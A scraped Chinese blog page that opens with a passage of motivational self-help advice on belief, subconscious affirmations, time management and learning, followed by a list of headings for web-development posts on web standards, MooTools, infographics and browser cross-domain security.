信念，无疑是走向成功的必经途径。心理学家表明：人的行为受信念支配，你想要做出什么样的成绩，关键在于你的信念，所谓信就是人言，人说的话；所谓念就是今天的心。两个字合起来就是今天我在心里对自己说的话。若一个人在心里老是不停地埋怨自己，我不行！很难想像，他会在今后的人生中做出怎样的成绩；相反，若一个人在心底深处总是不停地鼓励自己，我能行！那他在人生中获得成功的机会就越大。人只有相信自己，才能成功。你认定自己失败，你就注定要失败！你坚定自己是哪一种人，你就会成为哪一种人？无论什么事，如果你反复地确认，总有一天会变成现实！拿破仑转世的故事。

第六步:唤醒心中沉睡的巨人,利用潜意识三万倍的力量，加速你成功的步伐！

潜意识24小时就是在工作的，无论你输入怎样的信号（自我暗示），它都会接受，因此你一定要把你最想要的和最积极的信号输入潜意识，常用的方法有：

1、视角化，反复看“梦想板”；

2、天天反复的自我确认：我是最棒的！我是最快乐的！我是最健康的！

3、催眠音乐和催眠思想，全身心放松，想象自己最想实现的成功意像！

4、静坐，什么事也不做，什么事也不想，进入入定的态度，宁静以致远！

第七步:你热爱生命吗？那就不要浪费时间，因为生命是由时间组成的

1、时间是对重要性的支配。
2、把握重心，生活得有秩序、有重点。
3、第四代时间管理理论！时间管理的黄金法则。
4、找出时间管理中最大的障碍，探索出最适合自己的时间管理方法。
5、每分每秒都要做最有生产力的事情。

第八步：知识就是力量。

1、必备的综合知识和牢固的专业知识。
2、获得知识的过程就是一个不断学习的过程，学习行之有效的方法，节省自己苦苦摸索的时间。
3、只有不断的检讨才能获得更多的知识。
4、学习的心态：空杯的心态，主动交换思想，虚怀若谷。
5、我们除了不断学习、不断进取，别无选择。惟有知道得比

来源：薄雾倾城

CSSrainbow.cn » 读书

Opera的Web标准课程（推荐）

引言

目录

开始篇

Web标准导论

Web设计概念

HTML基础

HTML正文

可访问性

CSS样式

高级 CSS 研究

JavaScript 核心技巧

补充文章

支持一下Opera浏览器

相关日志 »

MooTools国外的教程和资源大集合

MooTools教程和资源大集合

MooTools Tutorials and Resources Round-Up

A word about MooTools

Articles/Tutorials

Starting points

Intermediate

Advanced Topics

Plugins

Navigation

Layout and Style

Tooltips

Form Usability

Slideshow

Ajax

Content Overlay

Plugin Collections

Rich user interfaces

Text editor extensions

Plugins for Coda

Plugins for TextMate

About the author

相关日志 »

数据之美（三）

1. Web 趋势图

2. 字体周期表

3. 全球 Internet 流量图

4. 经验的归结

5. Flickr 用户模型

6. 浏览器之战

7. 垃圾信息阅读报告

8. 网络文章的生命周期

9. 在线沟通地图

10. 用 1001 个 Web2.0 标志组成的世界地图

11. 全球海底光缆地图

12. SEO毒药

13. Google PageRank 之视觉解释

14. 用社会媒体开一间公司

15. SEO 清单

16. 博客文章的生命周期

17. 软件战势图

18. 美国网民结构图

19. 看看1600万色的模样

20. 可视化表示方式周期表

21. Internet 周期表

22. 国家编码地图

23. 苹果产品分布图

24. 美国 50年来消费电子市场与价格分布

25. Yahoo 所有 API 与服务分布图

26. 数字存储媒介的重量与尺寸

27. 同国家不同时期对色彩的喜好

28. Facebook vs. Twitter

相关日志 »

浏览器 跨域 安全 (收藏)

浏览器 跨域 安全

1.来自伪协议的呼唤

2.父页和子页的关系

3.域与域之间的牵绊

4.安全上的差异

5.灾难性的后果

6.总结

7.参考

相关日志 »

选择mootools的5个原因(转)

浏览器跨域安全 (收藏)

浏览器跨域安全

知道为什么选择的DTD是下面中的一个而不是其他，这是对 HTML标准的理解和思考。

低调做人高调做事

低调做人高调做事